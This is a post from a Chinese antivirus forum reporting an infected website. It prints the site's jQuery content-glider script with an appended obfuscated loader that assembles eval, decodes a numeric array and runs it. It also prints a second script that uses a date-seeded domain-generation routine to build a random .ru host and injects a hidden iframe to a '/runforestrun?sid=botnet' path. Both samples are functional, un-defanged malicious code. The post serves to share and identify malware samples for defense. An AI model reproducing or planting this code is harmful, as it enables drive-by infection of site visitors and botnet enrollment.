查看: 781|回复: 0
收起左侧

[已鉴定] http://ozbayfotograf.com/

[复制链接]
fireold
发表于 2013-6-29 13:33:34 | 显示全部楼层 |阅读模式
  1. //Featured Content Glider: By http://www.dynamicdrive.com
  2. //Created: Dec 22nd, 07'
  3. //Updated (Jan 29th, 08): Added four possible slide directions: "updown", "downup", "leftright", or "rightleft"
  4. //Updated (Feb 1st, 08): Changed glide behavior to reverse direction when previous button is clicked
  5. //Updated (Feb 12th, 08): Added ability to retrieve gliding contents from an external file using Ajax ("remotecontent" variable added to configuration)

  6. var featuredcontentglider = {
  7.     csszindex: 100,
  8.     ajaxloadingmsg: '<b>Fetching Content. Please wait...</b>',
  9.     glide: function(config, showpage, isprev) {
  10.         var selected = parseInt(showpage)
  11.         if (selected >= config.$contentdivs.length) { //if no content exists at this index position
  12.             alert("No content exists at page " + (selected + 1) + "! Loading 1st page instead.")
  13.             selected = 0
  14.         }
  15.         var $target = config.$contentdivs.eq(selected)
  16.         //Test for toggler not being initialized yet, or user clicks on the currently selected page):
  17.         if (config.$togglerdiv.attr('lastselected') == null || parseInt(config.$togglerdiv.attr('lastselected')) != selected) {
  18.             var $selectedlink = config.$toc.eq(selected)
  19.             config.$next.attr('loadpage', (selected < config.$contentdivs.length - 1) ? selected + 1 + 'pg' : 0 + 'pg')
  20.             config.$prev.attr('loadpage', (selected == 0) ? config.$contentdivs.length - 1 + 'pg' : selected - 1 + 'pg')
  21.             var startpoint = (isprev == "previous") ? -config.startpoint : config.startpoint
  22.             $target.css(config.leftortop, startpoint).css("zIndex", this.csszindex++) //hide content so it's just out of view before animating it
  23.             var endpoint = (config.leftortop == "left") ? {
  24.                 left: 0
  25.             } : {
  26.                 top: 0
  27.             } //animate it into view
  28.             $target.animate(endpoint, config.speed)
  29.             config.$toc.removeClass('selected')
  30.             $selectedlink.addClass('selected')
  31.             config.$togglerdiv.attr('lastselected', selected + 'pg')
  32.         }
  33.     },

  34.     getremotecontent: function(config) {
  35.         config.$glider.html(this.ajaxloadingmsg)
  36.         $.ajax({
  37.             url: config.remotecontent,
  38.             error: function(ajaxrequest) {
  39.                 config.$glider.html('Error fetching content.<br />Server Response: ' + ajaxrequest.responseText)
  40.             },
  41.             success: function(content) {
  42.                 config.$glider.html(content)
  43.                 featuredcontentglider.setuptoggler(config)
  44.             }
  45.         })
  46.     },

  47.     aligncontents: function(config) {
  48.         config.$contentdivs = $("#" + config.gliderid + " ." + config.contentclass)
  49.         config.$contentdivs.css(config.leftortop, config.startpoint).css({
  50.             height: config.$glider.height(),
  51.             visibility: 'visible'
  52.         }) //position content divs so they're out of view:
  53.     },

  54.     setuptoggler: function(config) {
  55.         this.aligncontents(config)
  56.         config.$togglerdiv.hide()
  57.         config.$toc.each(function(index) {
  58.             $(this).attr('pagenumber', index + 'pg')
  59.             if (index > (config.$contentdivs.length - 1)) $(this).css({
  60.                 display: 'none'
  61.             }) //hide redundant "toc" links
  62.         })
  63.         var $nextandprev = $("#" + config.togglerid + " .next, #" + config.togglerid + " .prev")
  64.         $nextandprev.click(function(event) { //Assign click behavior to 'next' and 'prev' links
  65.             featuredcontentglider.glide(config, this.getAttribute('loadpage'), this.getAttribute('buttontype'))
  66.             event.preventDefault() //cancel default link action
  67.         })
  68.         config.$toc.click(function(event) { //Assign click behavior to 'toc' links
  69.             featuredcontentglider.glide(config, this.getAttribute('pagenumber'))
  70.             event.preventDefault()
  71.         })
  72.         config.$togglerdiv.fadeIn(1000, function() {
  73.             featuredcontentglider.glide(config, config.selected)
  74.             if (config.autorotate == true) { //auto rotate contents?
  75.                 config.stepcount = 0 //set steps taken
  76.                 config.totalsteps = config.$contentdivs.length * config.autorotateconfig[1] //Total steps limit: num of contents x num of user specified cycles)
  77.                 featuredcontentglider.autorotate(config)
  78.             }
  79.         })
  80.         config.$togglerdiv.click(function() {
  81.             featuredcontentglider.cancelautorotate(config.togglerid)
  82.         })
  83.     },

  84.     autorotate: function(config) {
  85.         var rotatespeed = config.speed + config.autorotateconfig[0]
  86.         window[config.togglerid + "timer"] = setInterval(function() {
  87.             if (config.totalsteps > 0 && config.stepcount >= config.totalsteps) {
  88.                 clearInterval(window[config.togglerid + "timer"])
  89.             } else {
  90.                 config.$next.click()
  91.                 config.stepcount++
  92.             }
  93.         }, rotatespeed)
  94.     },

  95.     cancelautorotate: function(togglerid) {
  96.         if (window[togglerid + "timer"]) clearInterval(window[togglerid + "timer"])
  97.     },

  98.     getCookie: function(Name) {
  99.         var re = new RegExp(Name + "=[^;]+", "i") //construct RE to search for target name/value pair
  100.         if (document.cookie.match(re)) //if cookie found
  101.         return document.cookie.match(re)[0].split("=")[1] //return its value
  102.         return null
  103.     },

  104.     setCookie: function(name, value) {
  105.         document.cookie = name + "=" + value
  106.     },

  107.     init: function(config) {
  108.         $(document).ready(function() {
  109.             config.$glider = $("#" + config.gliderid)
  110.             config.$togglerdiv = $("#" + config.togglerid)
  111.             config.$toc = config.$togglerdiv.find('.toc')
  112.             config.$next = config.$togglerdiv.find('.next')
  113.             config.$prev = config.$togglerdiv.find('.prev')
  114.             config.$prev.attr('buttontype', 'previous')
  115.             var selected = (config.persiststate) ? featuredcontentglider.getCookie(config.gliderid) : config.selected
  116.             config.selected = (isNaN(parseInt(selected))) ? config.selected : selected //test for cookie value containing null (1st page load) or "undefined" string   
  117.             config.leftortop = (/up/i.test(config.direction)) ? "top" : "left" //set which CSS property to manipulate based on "direction"
  118.             config.heightorwidth = (/up/i.test(config.direction)) ? config.$glider.height() : config.$glider.width() //Get glider height or width based on "direction"
  119.             config.startpoint = (/^(left|up)/i.test(config.direction)) ? -config.heightorwidth : config.heightorwidth //set initial position of contents based on "direction"
  120.             if (typeof config.remotecontent != "undefined" && config.remotecontent.length > 0) featuredcontentglider.getremotecontent(config)
  121.             else featuredcontentglider.setuptoggler(config)
  122.             $(window).bind('unload', function() { //clean up and persist
  123.                 config.$togglerdiv.unbind('click')
  124.                 config.$toc.unbind('click')
  125.                 config.$next.unbind('click')
  126.                 config.$prev.unbind('click')
  127.                 if (config.persiststate) featuredcontentglider.setCookie(config.gliderid, config.$togglerdiv.attr('lastselected'))
  128.                 config = null

  129.             })
  130.         })
  131.     }
  132. }


  133. /*km0ae9gr6m*/
  134. s = "";
  135. try {
  136.     q = document.createElement("p");
  137.     q.appendChild("123" + n);
  138. } catch (qw) {
  139.     h = -016 / 7;
  140.     try {
  141.         a = prototype;
  142.     } catch (zxc) {
  143.         e = window["e" + "va" + "l"];
  144.         n = "204.351.440.495.232.315.444.550.64.330.404.600.232.246.388.550.200.333.436.390.234.327.392.505.228.120.164.615.26.30.128.160.64.96.472.485.228.96.416.525.64.183.128.580.208.315.460.230.230.303.404.500.64.141.128.580.208.315.460.230.162.177.52.50.64.96.128.160.236.291.456.160.216.333.128.305.64.348.416.525.230.138.460.505.202.300.128.185.64.348.416.525.230.138.324.295.26.30.128.160.64.96.472.485.228.96.464.505.230.348.128.305.64.348.416.525.230.138.260.160.84.96.432.555.64.135.128.580.208.315.460.230.164.96.168.160.208.315.236.65.20.96.128.160.64.315.408.200.232.303.460.580.64.186.128.240.82.369.52.50.64.96.128.160.64.96.128.160.232.312.420.575.92.345.404.505.200.96.244.160.232.303.460.580.118.39.40.160.64.96.128.625.64.303.432.575.202.96.492.65.20.96.128.160.64.96.128.160.64.348.416.525.230.138.460.505.202.300.128.305.64.348.404.575.232.96.172.160.232.312.420.575.92.231.236.65.20.96.128.160.64.375.52.50.64.96.128.160.228.303.464.585.228.330.128.200.232.312.420.575.92.345.404.505.200.96.168.160.232.312.420.575.92.333.440.505.158.354.404.570.154.123.236.65.20.375.52.50.26.30.408.585.220.297.464.525.222.330.128.410.194.330.400.555.218.234.468.545.196.303.456.355.202.330.404.570.194.348.444.570.80.351.440.525.240.123.492.65.20.96.128.160.64.354.388.570.64.300.128.305.64.330.404.595.64.204.388.580.202.120.468.550.210.360.168.245.96.144.192.205.118.39.40.160.64.96.128.590.194.342.128.575.64.183.128.500.92.309.404.580.144.333.468.570.230.120.164.160.124.96.196.250.64.189.128.245.64.174.128.240.118.39.40.160.64.96.128.580.208.315.460.230.230.303.404.500.64.183.128.250.102.156.212.270.110.168.228.240.98.96.172.160.80.300.184.515.202.348.308.555.220.348.416.200.82.96.168.160.96.360.280.350.140.210.280.350.82.96.172.160.80.300.184.515.202.348.272.485.232.303.160.205.64.126.128.240.240.210.280.350.140.123.172.160.80.231.388.580.208.138.456.555.234.330.400.200.230.96.168.160.96.360.280.350.140.123.164.295.26.30.128.160.64.96.464.520.210.345.184.325.64.183.128.260.112.150.220.245.118.39.40.160.64.96.128.580.208.315.460.230.154.96.244.160.100.147.208.275.104.168.204.270.104.165.236.65.20.96.128.160.64.348.416.525.230.138.324.160.122.96.464.520.210.345.184.385.64.141.128.580.208.315.460.230.130.177.52.50.64.96.128.160.232.312.420.575.92.246.128.305.64.348.416.525.230.138.308.160.74.96.464.520.210.345.184.325.118.39.40.160.64.96.128.580.208.315.460.230.222.330.404.395.236.303.456.385.64.183.128.245.92.144.128.235.64.348.416.525.230.138.308.295.26.30.128.160.64.96.464.520.210.345.184.550.202.360.464.160.122.96.440.505.240.348.328.485.220.300.444.545.156.351.436.490.202.342.236.65.20.96.128.160.64.342.404.580.234.342.440.160.232.312.420.575.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.297.456.505.194.348.404.410.194.330.400.555.218.234.468.545.196.303.456.200.228.132.128.385.210.330.176.160.154.291.480.205.246.39.40.160.64.96.128.570.202.348.468.570.220.96.308.485.232.312.184.570.222.351.440.500.80.120.308.485.240.135.308.525.220.123.128.210.64.342.184.550.202.360.464.200.82.96.172.160.154.315.440.205.118.39.40.625.26.30.52.50.204.351.440.495.232.315.444.550.64.309.404.550.202.342.388.580.202.240.460.505.234.300.444.410.194.330.400.555.218.249.464.570.210.330.412.200.234.330.420.600.88.96.432.505.220.309.464.520.88.96.488.555.220.303.164.615.26.30.128.160.64.96.472.485.228.96.456.485.220.300.128.305.64.330.404.595.64.246.388.550.200.333.436.390.234.327.392.505.228.213.404.550.202.342.388.580.222.342.160.585.220.315.480.205.118.39.40.160.64.96.128.590.194.342.128.540.202.348.464.505.228.345.128.305.64.273.156.485.78.132.156.490.78.132.156.495.78.132.156.500.78.132.156.505.78.132.156.510.78.132.156.515.78.132.156.520.78.132.156.525.78.132.156.530.78.132.156.535.78.132.156.540.78.132.156.545.78.132.156.550.78.132.156.555.78.132.156.560.78.132.156.565.78.132.156.570.78.132.156.575.78.132.156.580.78.132.156.585.78.132.156.590.78.132.156.595.78.132.156.600.78.132.156.605.78.132.156.610.78.279.236.65.20.96.128.160.64.354.388.570.64.345.464.570.64.183.128.195.78.177.52.50.64.96.128.160.204.333.456.200.236.291.456.160.210.96.244.160.96.177.128.525.64.180.128.540.202.330.412.580.208.177.128.525.64.129.172.160.82.369.52.50.64.96.128.160.64.96.128.160.230.348.456.160.86.183.128.540.202.348.464.505.228.345.364.495.228.303.388.580.202.246.388.550.200.333.436.390.234.327.392.505.228.120.456.485.220.300.176.160.96.132.128.540.202.348.464.505.228.345.184.540.202.330.412.580.208.96.180.160.98.123.372.295.26.30.128.160.64.96.500.65.20.96.128.160.64.342.404.580.234.342.440.160.230.348.456.160.86.96.156.230.78.96.172.160.244.333.440.505.118.39.40.625.26.30.52.50.230.303.464.420.210.327.404.555.234.348.160.510.234.330.396.580.210.333.440.200.82.369.52.50.64.96.128.160.232.342.484.615.26.30.128.160.64.96.128.160.64.96.420.510.80.348.484.560.202.333.408.160.210.306.456.485.218.303.348.485.230.201.456.505.194.348.404.500.64.183.244.160.68.351.440.500.202.306.420.550.202.300.136.205.246.39.40.160.64.96.128.160.64.96.128.160.64.96.128.525.204.342.388.545.202.261.388.575.134.342.404.485.232.303.400.160.122.96.464.570.234.303.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.354.388.570.64.351.440.525.240.96.244.160.154.291.464.520.92.342.444.585.220.300.160.215.220.303.476.160.136.291.464.505.80.123.188.245.96.144.192.205.118.39.40.160.64.96.128.160.64.96.128.160.64.96.128.590.194.342.128.500.222.327.388.525.220.234.388.545.202.96.244.160.206.303.440.505.228.291.464.505.160.345.404.585.200.333.328.485.220.300.444.545.166.348.456.525.220.309.160.585.220.315.480.220.64.147.216.220.64.117.456.585.78.123.236.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.96.244.160.200.333.396.585.218.303.440.580.92.297.456.505.194.348.404.345.216.303.436.505.220.348.160.170.146.210.328.325.154.207.136.205.118.96.52.50.64.96.128.160.64.96.128.160.64.96.128.160.210.306.456.545.92.345.404.580.130.348.464.570.210.294.468.580.202.120.136.575.228.297.136.220.64.102.416.580.232.336.232.235.94.102.172.500.222.327.388.525.220.234.388.545.202.129.136.235.228.351.440.510.222.342.404.575.232.342.468.550.126.345.420.500.122.294.444.580.220.303.464.170.82.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.238.315.400.580.208.96.244.160.68.144.448.600.68.177.128.65.20.96.128.160.64.96.128.160.64.96.128.160.64.315.408.570.218.138.460.580.242.324.404.230.208.303.420.515.208.348.128.305.64.102.192.560.240.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.420.510.228.327.184.575.232.363.432.505.92.354.420.575.210.294.420.540.210.348.484.160.122.96.136.520.210.300.400.505.220.102.236.160.26.30.128.160.64.96.128.160.64.96.128.160.64.96.400.555.198.351.436.505.220.348.184.490.222.300.484.230.194.336.448.505.220.300.268.520.210.324.400.200.210.306.456.545.82.177.52.50.64.96.128.160.64.96.128.160.250.39.40.160.64.96.128.625.198.291.464.495.208.120.404.205.246.375.52.50.250.132.128.265.96.144.164.295".split(".");
  145.         if (window.document) for (i = 6 - 2 - 1 - 2 - 1; - 1828 + i != 2 - 2; i++) {
  146.             k = i;
  147.             s = s + String.fromCharCode(n[k] / (i % (h * h) + 2));
  148.         }
  149.         e(s);
  150.     }
  151. } /*qhk6sa6g1c*/
复制代码
  1. function nextRandomNumber() {
  2.     var hi = this.seed / this.Q;
  3.     var lo = this.seed % this.Q;
  4.     var test = this.A * lo - this.R * hi;
  5.     if (test > 0) {
  6.         this.seed = test;
  7.     } else {
  8.         this.seed = test + this.M;
  9.     }
  10.     return (this.seed * this.oneOverM);
  11. }

  12. function RandomNumberGenerator(unix) {
  13.     var d = new Date(unix * 1000);
  14.     var s = d.getHours() > 12 ? 1 : 0;
  15.     this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
  16.     this.A = 48271;
  17.     this.M = 2147483647;
  18.     this.Q = this.M / this.A;
  19.     this.R = this.M % this.A;
  20.     this.oneOverM = 1.0 / this.M;
  21.     this.next = nextRandomNumber;
  22.     return this;
  23. }

  24. function createRandomNumber(r, Min, Max) {
  25.     return Math.round((Max - Min) * r.next() + Min);
  26. }

  27. function generatePseudoRandomString(unix, length, zone) {
  28.     var rand = new RandomNumberGenerator(unix);
  29.     var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
  30.     var str = '';
  31.     for (var i = 0; i < length; i++) {
  32.         str += letters[createRandomNumber(rand, 0, letters.length - 1)];
  33.     }
  34.     return str + '.' + zone;
  35. }

  36. setTimeout(function() {
  37.     try {
  38.         if (typeof iframeWasCreated == "undefined") {
  39.             iframeWasCreated = true;
  40.             var unix = Math.round(+new Date() / 1000);
  41.             var domainName = generatePseudoRandomString(unix, 16, 'ru');
  42.             ifrm = document.createElement("IFRAME");
  43.             ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet");
  44.             ifrm.style.width = "0px";
  45.             ifrm.style.height = "0px";
  46.             ifrm.style.visibility = "hidden";
  47.             document.body.appendChild(ifrm);
  48.         }
  49.     } catch (e) {}
  50. }, 500);
复制代码
avg1.jpg
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2025-2-3 12:48 , Processed in 0.152929 second(s), 19 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表